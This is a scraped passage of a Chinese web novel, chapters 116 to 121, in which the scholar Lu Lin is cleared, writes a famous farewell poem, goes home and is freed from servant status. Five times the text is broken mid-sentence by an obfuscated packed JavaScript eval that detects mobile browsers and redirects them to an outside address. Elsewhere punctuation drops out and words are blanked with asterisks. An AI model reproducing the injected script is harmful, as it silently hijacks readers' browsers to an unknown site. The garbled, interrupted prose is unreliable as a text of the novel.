他走得潇洒,留下的,却是一屋子的震撼和议论。 “庞将军是柳阁老的爱将,他被放出来,岂不是说.” “柳阁老这是要翻身了啊!” “可不是嘛,卢案首可是柳阁老家的书童,如今卢案首一飞冲天,柳阁老自然也跟着水涨船高。” “啧啧,这卢案首,当真是柳阁老的福星啊。” “宴首辅呢,他不可能看着柳阁老做大吧?” 到底是皇城根脚下的百姓,对朝堂风向的敏感度,远非外地人可比。 第116章 不骄不躁 会同馆,海晏居。 斗法一事尘埃落定,圣上也已下旨,洗清了卢璘莫须有的谋逆之罪。 才有了柳拱这一次登门拜访。 之前卢璘身负罪名,柳拱一举一动都备受瞩目,为免落人口实,他一直刻意保持着距离。 如今尘埃落定,自是再无顾忌。 沈春芳抬眼瞥了对面的挚友柳拱一眼,嘴角一撇: “你这老匹夫,这次可是因祸得福,结结实实沾了我弟子的光啊。” “圣上加封你为帝师,啧啧,何等荣耀。” “你这老家伙,眼瞅着都要致仕归隐了,还能混个帝师当,心里偷着乐吧。” 转头又看向一旁淡然的卢璘,眼神里满是藏不住的得意。 柳拱闻言也不恼,反而乐呵呵地受了。 “那是自然。” 帝师,帝王之师。 虽是虚职,但能获此殊荣者,无一不是德高望重、学问通天之辈,代表着圣上对其人品与学问的最高认可。 柳拱自己也清楚,这辈子官运也就到头了,本想着致仕归乡,安度晚年。 谁能想到临了临了,还能得这么个天大的封赏。 见沈春芳一脸得意的模样,柳拱这才不紧不慢地抬起眼皮,斜了沈春芳一眼: “光是我沾光了?” “你这匹夫,难道就少沾了光?” “圣上亲口给你追封谥号‘文定’,不还是看在璘哥儿的面子上?” 大夏惯例,谥号多为臣子身后追封,以彰其一生功过。 生前赐谥,极为罕见。 除非是圣上出于极度的宠信,或是有着特殊的**需要,才会在重臣病危或致仕归隐时,提前拟定。 当朝首辅宴居权势滔天,当年也不过是走了这个流程。 而沈春芳,却是实打实地在身子骨硬朗之时,便获此殊荣。 更何况,“文定”二字,乃是美谥。 沉稳持重,安定朝纲。 不仅是对沈春芳在朝为官经历的最高褒奖,更是对他学问人品的盖棺定论。 沈春芳听完,脸上的笑意更深了,眼角的皱纹都舒展开来。 确实是沾了璘哥儿的光。 这辈子最得意的事,不 是考中状元,也不是官拜尚书,而是收了卢璘这么个弟子。 当初在清河县的小小学塾里,自己怎么也想不到,有朝一日,竟还要托这位弟子的福。 只是圣上加封了柳拱,也给了自己天大的体面,唯独对真正的功臣卢璘,却没有任何实质性的封赏。 没有官职,没有爵位,连金银赏赐都未曾提及。 甚至连之前定下的,召璘哥儿进宫面圣都迟迟没有进展。 这番操作,着实有些反常。 沈春芳本来以为,以卢璘的心性,就算嘴上不说,心里多少也该有些不满。 可几日下来,沈春芳没从自己这个学生脸上看到一点不悦。 他转头看向卢璘,温声宽慰道: “璘哥儿,别想太多。 “雷霆雨露,俱是圣恩。 “圣上如此安排,说不定……是别有打算。 一旁的柳拱也点了点头,接过了话头。 “璘哥儿,你这次童试虽然中断了,没能获得秀才功名。 “但回去之后,我就让那孽子给你解了书童籍贯,还你自由身。 柳拱本就是这个打算。 之前,他是想着等卢璘自己考上秀才,名正言顺地脱去奴籍,也算是一段佳话。 可谁能想到,中间出了这等意外,卢璘因那桩谋逆案,生生错过了院试,没能获得功名。 柳拱心中清楚,璘哥儿这等人,绝非池中之物,迟早会一飞冲天。 自前几年回府,第一次见到璘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453166|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥时,柳拱就知道,小小的柳府是拴不住他的。 也从未打算用一纸书童契约来拴住他。 唯有交心,方为上策。 柳拱刚说完,内堂门帘掀开,李氏和卢厚正好走了出来,将柳拱最后那句话听得清清楚楚。 “解了书童籍贯,还璘哥儿自由身? 李氏脸上先是错愕,随即涌上狂喜。 卢厚眼中也满是惊喜,两人快步上前对着柳拱深深一躬。 “柳阁老,您真是个大善人啊! “我们卢家,永生永世都记着您的恩情! 柳拱看着夫妻俩激动得有些语无伦次的样子,摆了摆手笑道: “要说感谢,该是老夫感 谢璘哥儿才对啊!” 这次卢璘在京都的惊艳表现,自己着实因祸得福。 不仅庞盛洗清冤屈,得以重见天日,连他自己也得圣上加封帝师的殊荣。 卢璘也起身对着柳拱郑重地拱了拱手: “谢过柳阁老。” 而后才转头回答沈夫子的话题: “不过,圣上不是已经给了我最大的恩赏吗?” “能够另开恩科,让我继续科举,就是对我最大的赏赐了。” 按照正常的流程,他需要等到明年,重新参加童试。 可明年,恰逢三年一次的乡试之年。 若是错过了明年的乡试,下一次,便要再等上整整三年。 圣上另开恩科,特许他在明年八月单独进行一场院试。 这便意味着,他可以直接赶上乡试的末班车。 这道恩旨,比任何金银财宝、官职爵位,都来得更为实在。 沈春芳听到卢璘这番回应,微微一愣,随即眼中满是欣慰与赞许。 自己这个学生的心性,当真是没的说。 不骄不躁,不贪外物,始终清楚自己要走的路。 第117章 送别! 京都城外百里,帝陵区。 这是大夏历代皇室的安息之地,连开国太祖的陵寝也坐落于此,龙脉延绵,气势恢宏。 雨丝细密,一道身影从濛濛雾气中走出。 王晋撑着一把油纸伞,一改往日落魄书生的邋遢模样,换上了一身崭新庄重的青色儒袍,头发也一丝不苟地束在冠中。 沿着帝陵区小径一路前行,最后停在一座墓碑前。 “大夏昭华长公主之墓。” “承天顺命,贞静柔嘉。” “昭宁元年薨。” 王晋静静地看着那一行行字,目光在昭宁元年四个字上停留了许久。 而后收起伞,从怀中掏出黄纸、香烛,又取出一壶酒。 点燃,祭拜,叩首。 一套流程缓慢而郑重。 祭奠完毕后,王晋没有就此离去。 面露追忆,悠悠地叹了口气,靠着墓碑席地而坐,顺手又将酒打开,先是往地上洒了三巡,而后自己仰头灌了一大口。 “昭华。” “你还记得沈春芳吗?” “当年总跟在我们屁股后面那小子,现在可厉害了。” “倒也不是他自己厉害,是收了个了不得的弟子,叫卢璘。” 说着说着,王晋又灌了一口酒,脸上露出笑容: “师父老说我天资高,见了璘哥儿才知道什么叫天资,不过好在也入了我的心学一脉。” “你要是还在,能看到这一天,该多好啊。” 王晋自问自答,可回答他的只有雨声淅沥。 这时,一道声音自身后传来。 “王晋,你还有脸来?” 王晋身子微微一僵,听出了声音的主人是谁,却没有回头。 “朕的长姐因你而死,你有何脸面苟活于世?” “还有脸来祭奠朕的长姐?” 王晋缓缓转过头。 细雨之中,一名身着玄色龙袍的女子静静站立,身后的侍从为她撑着一把巨大伞盖。 正是昭宁帝。 王晋闻言,眼中闪过痛苦之色,但还是摇了摇头,哪怕对方是大夏九五之尊,也仍旧开口反驳: “陛下,长公主非因我而死。” “是因大 夏而死。” “呵。” 昭宁帝一声冷哼凤眸之中满是寒意。 “若非当年你不自量力行那悖逆之事先帝又怎会迁怒长姐害她抑郁而终?” “长姐可是先帝最为疼爱的子嗣啊。” 王晋这次老实了没有开口反驳。 是啊。 昭华确实是先帝最疼爱的女儿。 若非如此一个未嫁的公主又怎会有资格葬在这帝陵之中。 能长眠在帝陵区除了历代帝王便只有功盖天下的皇后与太子。 不是所有的皇子公主都有这份殊荣。 王晋心中刺痛。 若非自己当年不自量力昭华又怎会为了保全自己 万般罪过皆由我一人而起。 我本不该苟活。 可昭华的死处处透着蹊跷不查个水落石出自己死后也无颜去见她。 昭宁帝看着他这副模样眼中的厌恶更深了。 “朕念在这次佛门斗法一事上你尚有微功便不追究你擅闯帝陵之罪。” “从今往后不准你再踏入此地一步。” 王晋闻言继续沉默。 来与不来又有何区别呢? 过了好一会才吐出一口气开口回答: “陛下放心。” “查明昭华死因之前我不会再来了。” “最好如此。”昭宁帝冷冷丢下一句。 了却心愿和昭宁帝也没有交谈下去的欲望王晋站起身准备离去。 临走前昭宁帝的声音再次响起。 “卢璘对朕的决策可有怨言?” 王晋脚步一顿摇了摇头。 “璘哥儿心性远超同辈他很清楚自己要走的路。” 说是这样说但王晋心里确实有些困惑。 斗法盛会卢璘一篇传天下之稿引动百圣齐鸣让整个京都的文脉底蕴都凭空拔高一截无数读书人因此受益。 连京都的普通百姓都自发地为卢璘**。 连带着沈春芳和柳拱都得到实质性的封赏。 可璘哥儿本人却只**了谋逆罪这确实有些奇怪。 还没等王晋离去,身后再度传来昭宁帝的声音: “回去告诉卢璘。 “等他过了乡试、会试,朕在殿试之上等他。 “谁说朕没有赏赐? 王晋点了点头,身影消失在小径尽头。 留下昭宁帝独自站在墓碑前,望着王晋离去的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453167|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向。 突然间,只见昭宁帝秀眉紧蹙,脸上露出了痛苦之色,浑身不受控制地颤抖起来。 片刻之后,颤抖停止。 昭宁帝缓缓抬起头,眼神却和之前截然不同,少了几分帝王威严和冷漠。 望着王晋刚刚离去的方向,红唇轻启,吐出两个字。 “怀瑾. 王晋,字怀瑾。 “璘哥儿,回清河后,万不可因京都一时之名而骄傲自满。 “当戒骄戒躁,潜心治学,科举之路,一步一印,方能行稳致远。 “等你来年过了院试、乡试、会试、老夫在京都等你。 京都码头。 宽阔的河面上,一艘等待在岸边的官船已经做好随时出发的准备。 码头岸边上,卢璘一家三口加上沈夫子正准备动身上船。 柳拱带着庞盛,以及一众吏部官员前来送行。 卢璘站在父母身旁,对着柳拱恭敬地拱了拱手。 “学生谨记柳阁老教诲。 还没等卢璘继续开口,一旁的沈春芳终于听不下去了,一脸无语地先出了声: “行了,闭嘴吧,你这老匹夫。 “不知道的还以为你是璘哥儿的老师呢,你在这儿交代得这么起劲。 “好好当你的帝师得了,我这个正牌夫子还没出声呢。 卢璘闻言,心里一乐,差点笑出了声。 好家伙,人秋雅结婚,你袁华搁这又唱又跳? 是这个意思不? 没想到柳拱闻言不气反笑,反而厚着脸皮,理直气壮地开口: “我不摆出这副苦心劝导的模样,怎么好意思让璘哥儿给我们来一首送行诗呢? “气氛都到这里了,璘哥儿,给我等一首送行诗,不过分吧? “传出去也是一段佳话。 说完,竟真的从袖中掏出了早就备好的笔墨纸砚,满脸期待地看向卢璘。 自斗法扬名之后,卢璘在京都声名鹊起。 加之昭宁帝曾公然夸赞卢璘的书法“已入道境,胜朕许多。 楚王好细腰,一份卢璘的亲笔墨宝,在京都已是炙手可热。 无数王公贵胄都以能收藏一幅卢璘的真迹为荣。 可卢璘满打满算,自参加科举起,流传于世的亲笔诗作,也不过寥寥几首。 一时间,京都纸贵,一诗难求。 第118章 天下谁人不识君 沈春芳见状,气得吹胡子瞪眼: “好啊!原来你这老匹夫在这儿等着呢!” “几句不值钱的好话,就想白嫖我们家璘哥儿的送行诗,哪有这种好事!” 沈春芳嘴上骂骂咧咧,眼神却同样带着期待,望向了卢璘。 对璘哥儿的学问自然是放心的。 同时也很好奇,此情此景,卢璘会写出怎样一首送别诗来。 见卢璘没有立刻回应,沈春芳以为他有些为难,语气稍缓。 “柳拱那厮没安好心,别理他,若无佳句,不写也罢。” 卢璘闻言淡笑,没有拒绝,若有所思地看了一眼站在柳拱身旁,一直沉默不语的庞盛。 这才接过柳拱递来的笔墨纸砚,在一旁的货箱上摊开。 卢璘没有着急动笔,而是看向庞盛,缓缓开口: “庞将军与我,皆有相似经历,沉冤的雪,重见天日。” “这首诗,既是送别诸位,也是送给庞将军,更是在临安府大狱之中,有感而发。” 庞盛闻言,身形一震,脸上有些意外。 没想到,这等好事,竟会落在自己头上。 还没等他反应过来,卢璘已经蘸饱浓墨,落笔于纸上。 一旁的沈春芳下意识地跟着卢璘笔下的字迹,低声念了出来。 《别庞盛》 “千里黄云白日曛,北风吹雁雪纷纷。” 送行的一众吏部官员闻言,皆忍不住点头。 卢案首果然是学识过人。 寥寥两句就勾勒出离别的氛围,又应了此情此景。 单凭这两句,便知他当真是急智无双。 还没等众人从前两句的意境中回过神。 卢璘的笔锋没有丝毫停顿,继续写了下去。 沈春芳的声音也跟着响起: “莫愁前路无知己,天下谁人不识君。” 最后一句一出,现场瞬间安静。 众人被这最后点题的一句,摄去心神,久久难以释怀。 等他们猛然转头,却看到一旁沉默的庞盛早已泪流满面。 庞盛听到这句“莫愁前路无知己,天下谁人不识君”,只觉得胸中一股热流激荡翻涌,堵得他说不出一句话。 好不容易,才从诗意中挣脱出来。 可一抬头,卢璘一家三口和沈春芳已经登上了官船,官船也已经解开缆绳,缓缓驶向了江心。 庞盛痴痴地望着那远去的船影,口中反复呢喃: “天下谁人不识君” “知己易得,知音难求!” 江风吹拂,明明是离别之景,却没有半点萧瑟的味道。 所有人的心神,都被“天下谁人不识君”的另辟蹊径的送别给震撼了。 就在这时,一道身影动了。 快得让人来不及反应。 柳拱一个箭步上前,在所有人反应过来之前,一把将卢璘留下的原稿稳稳地抓在了自己手中。 动作行云流水,没有半分拖沓。 拿到原稿后,柳拱先是小心翼翼地吹了吹上面的墨迹,而后才拿到眼前,细细品读。 片刻之后,他发出一声长长的叹息,脸上满是惋惜。 “哎,好诗是好诗。” 众人闻言,皆是点头,这何止是好诗,简直是送行诗的天花板了,假以时日必将名满天下。 可柳拱的下一句话,却让所有人险些把下巴惊掉。 “就是这个诗名,璘哥儿取得不行。” 柳拱摆出一副摇头叹气,痛心疾首的模样。 “《别庞盛》?太局限了。” “依老夫看,应该换成《别昭宁年大夏次辅柳拱》才对,这才能彰显此诗的格局嘛。” 此言一出。 前来送行的一众吏部官员,全都傻了,一个个面面相觑,嘴角忍不住抽搐。 还能这样? 当着正主的面,直接就把送给别人的诗改成送给自己的? 柳阁老不愧是柳阁老。 这份临危不乱,从容不迫的无耻功力,我等拍马也不及啊。 直到这时,庞盛才回过神来。 看到恩师柳拱正准备原稿小心翼翼地揣进怀里,庞盛顿时急了。 这可是卢案首写给自己的诗啊,恩师怎能如此? 不过恩师到底是恩师,庞盛瓮声瓮气地开口说道: “恩师,卢案首他方才说了,这首诗是送给我的。” 庞盛心中五味杂陈。 恩情归恩情。 可这首诗,是卢案首亲口点名送给自己的,连诗名上写的都是自己的名字。 这怎么能说抢就抢了呢? 听到庞盛的话,柳拱非但没有半分不好意思,反而笑吟吟地转过身,拍了拍庞盛宽厚的肩膀。 “庞盛啊,你听为师说。” 柳拱摆出一副语重心长,为庞盛着想的样子,开口道: “你刚从旋涡里出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453168|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣上虽然免了你的罪,但朝中盯着你的人可不少。” “这个时候,不方便太过张扬,凡事要以低调为主。” “璘哥儿这首诗,今日过后,必将名传天下。你拿着原稿,岂不是把自己放在风口浪尖上?” “为师这是怕你把握不住,暂时帮你保管,懂吗?” 见庞盛还是一副有些不情愿的样子,柳拱又加了一句: “这样,我书房里还有不少名家墨宝,大儒的字,书法第三境的字,都有。” “你回头随便去挑,看上哪个拿哪个,为师绝无二话。” 一番话说得是滴水不漏,既有关心,又有补偿。 柳拱费了一番口舌,却看到庞盛仍旧是一副油盐不进愣头青的表情,笑容忽然一收,脸色瞬间黑了下来。 “为师为了把你从诏狱弄出来,废了多大的功夫,求了多少人情?” “你这小子,不想着怎么孝敬孝敬为师,还跟为师抢东西?” “你的良心呢?” 一众吏部官员在旁边听得叹为观止。 高。 实在是高。 先是用长辈的身份施压,再打出感情牌,软硬兼施,威逼利诱。 为了从庞将军手上名正言顺地黑了这首《别庞盛》的原稿,柳阁老当真是煞费苦心,把毕生所学都用上了。 庞盛一个耿直武将,哪里是柳阁老的对手。 被柳拱这一套组合拳打下来,直接给说得哑口无言。 张了张嘴,想反驳,却发现自己一个字都说不出来。 是啊,没有恩师,自己现在还是诏狱里的一个死囚。 跟救命之恩比起来,一首诗又算得了什么? 可.可那毕竟是“天下谁人不识君”啊! 庞盛最终只能重重地叹了口气,无奈摇头。 见庞盛不再坚持,柳拱这才重新露出笑容,拍了拍他的肩膀,一副得了便宜还卖乖的口吻: “这就对了嘛。” “听为师一句劝,你先安安心心回你的镇北城上任。” “等明年璘哥儿来京都会试,我再想办法让圣上把你调回京都。” 柳拱信誓旦旦地保证道: “以我和璘哥儿的这层关系,到时候让他再给你写一首送行诗,那还不是一句话的事?” 庞盛闻言,心里更加无语了。 再写一首? 说得轻巧。 这等足以名传千古的送别诗,还能有第二首吗? 第119章 返乡 未央宫,紫宸殿内。 御案之后,昭宁帝正拿着一份稿子细细品读,脸上逐渐浮现笑意。 目光在最后两句诗上,停留了许久。 “莫愁前路无知己,天下谁人不识君。” 昭宁帝摇了摇头,放下稿子后略带感慨道: “自此诗之后,怕是再难有送别诗能出其右了。” 一旁侍立的宫女见圣上心情大好,抿嘴发出一声轻笑。 昭宁帝见状瞥了一眼,发问道:“你笑什么?朕说的错了?” 宫女连忙开口解释说:“陛下,奴婢是想到这份原稿的来历,突然发笑。” 昭宁帝眉头一挑,示意宫女继续。 “奴婢听说,柳阁老为了从庞将军手里得来这份原稿,可是费了好大一番口舌呢。” “听说有王爷为这幅墨宝开出了万两黄金的天价,柳阁老眼皮都没眨一下,转头就将此等珍宝献给了圣上,这份忠心,真是日月可鉴。” 昭宁帝闻言,将手中的原稿放在桌案上。 而后抬起眼,看向巧笑嫣然的宫女,眼神逐渐冷了下来。 “他不是忠心。” “他这是在埋怨朕,觉得朕对卢璘赏赐不公,特意把这首诗送来,提醒朕呢。” 此言一出,殿内的空气瞬间冷了下来。 那名宫女脸上的笑容僵住,却看到昭宁帝轻飘飘的眼神撇了过来。 “说吧。” “柳阁老给了你多少好处,让你在朕的面前,刻意说这番话。” 扑通一声,宫女双腿一软,整个人瘫跪在地,额头上满是冷汗。 一旁的御前总管高要见状,眼皮一跳,立刻跟着跪了下去。 “圣上息怒,是奴婢御下不严,请圣上降罪。” 说完,高要猛地转头,目光死死盯住已经抖如筛糠的宫女。 “贱婢,还不如实招来,想死不成!” 宫女被高要的眼神一吓,魂都快飞了,再不敢有半分隐瞒,哭喊着回答: “**禀陛下,柳阁老.柳阁老给了奴婢.一百两银子。” 一百两。 昭宁帝冷笑一声: “朕的身边,还真是烂成了一个筛子。” “区区一百两, 就能收买朕的贴身宫女。” “这批人才换了多久?” 高要闻言头埋得更低了。 “奴婢罪该万死。” “来人把她拖下去。” 就在侍卫准备将那宫女拖走时昭宁帝却忽然开口: “罢了。” 昭宁帝又从案桌上拿起《别庞盛》原稿笑了笑: “既然柳阁老觉得朕处事不公那朕便遂了他的意。” “来人拟旨。” “朕惟教化之原始自闺门;忠孝之节实关风教。” “卢门李氏贞顺承家训成令子。其子卢璘克勤王事屡效忠忱是皆母仪所陶 “兹特封为‘三品诰命夫人’赐翟冠霞帔岁禄三百石。” 高要越听越纳闷。 圣上这又是何必? 明明有心赏赐卢案首却非要绕这么大一个圈子等人都回了清河县才降下恩旨。 而且也不赏赐卢案首本人反而给卢案首他娘赏了个三品诰命夫人。 还没等高要想通昭宁帝的声音又传来: “即刻起程去清河县宣旨。” “奴婢遵旨。” 高要恭敬的应下心中默默盘算。 卢案首一行人走的是水路脚程不算快。 若是派人快马加鞭日夜兼程或许还能赶在卢案首抵达清河之前赶上。 几日后 官船缓缓靠岸停靠在清河县渡口。 江面上水汽氤氲晨雾蒙蒙。 晨雾中卢璘率先走下船板伸手扶住了跟在身后的李氏。 卢厚则提着简单的行囊紧随其后。 一家三口刚在码头上站稳一道熟悉的身影便快步跑了出来满脸雀跃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453169|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“璘哥儿!你可算是回来了!” 少爷几步冲到近前脸上满是久别重逢的喜悦。 自打璘哥儿六岁入柳府起少爷和璘哥儿朝夕相处早已成了习惯。 这还是第一次和璘哥儿分别这么久如今再次看到卢璘的样子少爷心里终于踏实了。 出发前爷爷便有传信心中大致提到了卢璘一家的归期。 这才有少爷一大早便等在 了这里。 少爷先是重重地拍了拍卢璘的肩膀,而后才从璘哥儿以及卢厚手上主动接过行李。 一手稳稳拿着行李包裹,一边笑嘻嘻地和卢厚开起来玩笑: “大叔,大娘,这一趟京都之行,你们可是见了世面了啊,怎么样见到圣上没有?” “我长这么大,都还没去过京都呢。” 李氏闻言,愣了一下,笑了笑:“圣上哪是我们能见的啊,不过倒是见了个皇子。” 说这话的同时,李氏脑袋里闪过钦天监观战台上那道年轻的身影。 卢厚则是憨厚地点了点头。 少爷笑着附和,却突然发现了点不对劲。 “咦?夫子呢?” “怎么不见沈夫子和你们一道回来?” “夫子回老家了,说是家里有些事情要处理,过段时日再来。”卢璘开口解释道。 夫子并非孤家寡人,家中尚有妻女。 之前之所以一直留在柳府,深居简出,是因为致仕之后,担心政敌宴居会寻机报复,连累家人。 如今,圣上亲赐“文定”谥号。 终于可以风风光光地荣归故里。 当然夫子的原话肯定不会这么说,原话说的是家中还有个和卢璘年纪相仿的孙女,得回去给卢璘谋一桩好婚事。 少爷点了点头,没有在这个话题上纠结,开口道: “对了,我娘已经把之前文庙街的那处宅子给买回来了。” 话音落下,李氏的眼睛瞬间就红了,眼泪在眼眶里打转。 第120章 脱去枷锁。 翌日 柳府正厅内,乌泱泱地站满了人。 老爷和夫人端坐正位,神情复杂地望着一身青衫,气质超群,静立在堂下的璘哥儿。 左侧是屁股都不敢坐稳,有些忐忑不安的卢厚与李氏。 右侧是里正以及清河县县尊吴井元吴大人。 老爷目光沉重地看了一眼卢璘,和夫人对视一眼,默默地叹了口气,这才拿起桌案上的一纸契约,声音沉稳郑重: “卢璘。” “原下河村卢家子,入我柳府六年。” “六年间,勤于事,敏于思,忠于主,守于礼。” “分内之事,做得井井有条,主家之忧,亦能为之分担解难。” “通晓大义,读书勤勉,从未有过一日懈怠。” “府中上下,无论长幼,皆以礼相待,对尊长恭敬,对同辈谦和。” “今日,老夫为你脱去奴籍,还你自由身。” “你之忠、勤、智、礼,已足以立身。” “只盼你日后秉持此心,或读书入仕,或商贾养家,都能堂堂正正,不负当年勤勉!” 话音落下,老爷将那份书童契约,连同一份由县衙出具的文书,一同递到了卢璘面前。 依大夏律,家中有五品以上官员者,其家奴契约的解除,需经县衙备案,以防逃奴伪造文书,混淆视听。 不过柳阁老两封亲笔信,一封送回了柳府,另一封则直接送到了县尊吴大人的案头。 这才有了今日县尊亲临,在柳府正厅为卢璘见证,当场办妥了这脱籍之事。 看着台下不卑不亢,脸色淡然的璘哥儿,老爷心中百感交集。 早就知道,小小的柳府困不住璘哥儿。 可当这一天真的来临时,不舍还是涌上心头。 试问,哪个主家有卢璘这样的书童,不是捡到宝了。 自打璘哥儿进了府,整个柳府都透着一股向上的精气神。 老爹在信里还把自己狠狠骂了一顿,生怕自己拎不清轻重,用一纸契约耽误了璘哥儿的前程。 自己是那种人吗? 这等麒麟儿,又岂是一纸契约能拴得住的。 “璘哥儿……” 一旁的夫人终是没忍住,轻唤了一 声眼眶瞬间就红了。 她是真心将卢璘当半个儿子看待。 自打卢璘入府吃穿用度皆与儿子一般无二从未有过半分亏待。 如今他要离开这心里就像被挖走了一块。 卢璘双手接过文书与契约对着老爷与夫人深深地鞠了一躬。 “活命之恩璘不敢忘。” “入府六年幸得老爷主母教诲视如己出。” “往后璘纵天涯谋生见温良恭俭四字必如见老爷庭训。” “遇忠恕之道犹闻夫人耳提面命。” “愿主家门楣永耀福泽绵长。” 一番话说得恳切至极。 一旁的夫人早已用手帕捂住了嘴眼泪横流。 身后的少爷此刻眼眶也泛红悄悄别过了头。 正厅内侍立的其他柳府下人尽皆如此几个小丫鬟更是捂着嘴忍不住发出了啜泣声。 璘哥儿这是真的要离开柳府了啊。 县尊吴井元看着眼前这一幕心中感慨万千。 这等解除奴籍的场面他见过太多次了。 大多是主家刻薄仆役哀求或是仆役犯错主家驱逐。 像今日这般主家上下依依不舍仆役感恩戴德宛若至亲离别的他还是头一次见。 卢案首不仅学问过人连个人魅力都是常人难及果然非同凡响。 一直沉默的李氏见璘哥儿接过文书 李氏猛的起身对着便要老爷和夫人跪下去。 夫人眼疾手快抢先一步从主位上下来扶住了李氏。 “妹子这是做什么。” “使不得!” “璘哥儿脱籍是好事你怎么还哭上了啊!” 夫人拉着李氏的手细声细语自己却忍不住流下了泪: “以后啊常回府里来看看千万不要断了走动。” 李氏哽咽着点头:“主母的恩情我们一家永世不忘。” 李氏刚准备拉着璘哥儿表态这时却突然传来老爷一阵爽朗的笑声:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453170|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“璘哥儿是这样我爹在信里说你写的那份《别庞盛》原稿弄丢了问你什么时候 有空能不能再写一首诗啊? 顿了顿,老爷眼珠子一转,见璘哥儿没拒绝,压低了声音又继续道: “璘哥儿,老爷我也对你不薄啊,能不能也给我写一首?我爹那首不着急. 就在县尊吴井元还在柳府主持脱籍一事时。 清河县衙却迎来了一队人马。 守在县衙门口的小吏正有些犯困,打了个哈欠,刚准备靠着门柱眯一会儿。 耳边却突然响起一道询问声。 “此处可是清河县衙? 小吏闻言睁眼一看,一见到对方的阵仗,顿时打了个激灵,哪还有半点困意。 眼前是一队人马气势恢宏。 为首的两名侍卫骑着高头大马,身披明光铠,手按腰刀,眼神锐利。 两位侍卫身后,是一顶由四人抬着的软轿,轿子旁,几名紫红色的官服亮得晃眼。 这阵仗,他只在戏文里听说过,哪曾亲眼见过啊。 定是府城来的特使。 怀着这个念头,小吏连忙躬身,老老实实地开口: “回官爷的话,此处正是清河县衙。 队伍中,一位身穿蓝领青袍、腰系**带的官员走了出来。 “县尊何在? “让他出来领旨。 小吏闻言,心头一跳,姿态放得更低了。 “回大人,县尊大人今日有要事外出,此刻……不在衙内。 陈朋闻言眉头微微皱起。 身为翰林院修撰,此次担任传旨钦差的仪仗正使,最重规矩。 当值期间,一县主官竟擅离职守? 这等**的县太爷,居然能教化出卢案首那等人物,当真是怪事一桩。 陈朋心中闪过一丝不悦,但宣旨是正事,他耐着性子继续问道。 “那衙内现在,是何人主事? 小吏不敢怠慢,赶忙回答。 “是新上任的王主簿在当值。 陈朋点了点头,没有再多言,径直带着队伍走进了县衙。 第121章 下河村传旨 衙内,新上任的主簿王旦得到消息,早已是满头大汗,一路小跑着赶了出来。 “下官清河县主簿王旦,见过钦差大人!” “不知大人驾临,有失远迎,还望恕罪!” 陈朋看他一眼,淡淡开口: “本官奉圣上之命,前来为卢璘宣旨。” “你去将卢璘的户籍档案取来。” 王主簿闻言,心中巨震。 给卢璘宣旨? 卢璘又是何许人也? 主簿脑袋里怀着疑问,但不敢多问,也不敢有丝毫耽搁,连声应下,亲自跑向了后衙的档案房。 在一排排落满灰尘的架子上翻找了许久,才从最底层的旧民事档案中,找到了一份卷宗。 上面用毛笔写着:卢璘,下河村卢家子,祖父卢川. 籍贯、年龄都对得上,应该就是这个了。 县衙正堂之上,等候着的陈朋嘴角微微扬起。 卢案首如今名满京都,一篇传天下之作引动百圣齐鸣,圣上都对其书法赞不绝口。 待会儿见到了**,不知有没有机会,能求得一份墨宝啊。 想到这里,陈朋心里一阵火热。 就在这时,王主簿捧着档案,气喘吁吁地跑了回来。 “大人,找到了!” 陈朋接过档案,迅速扫了一眼。 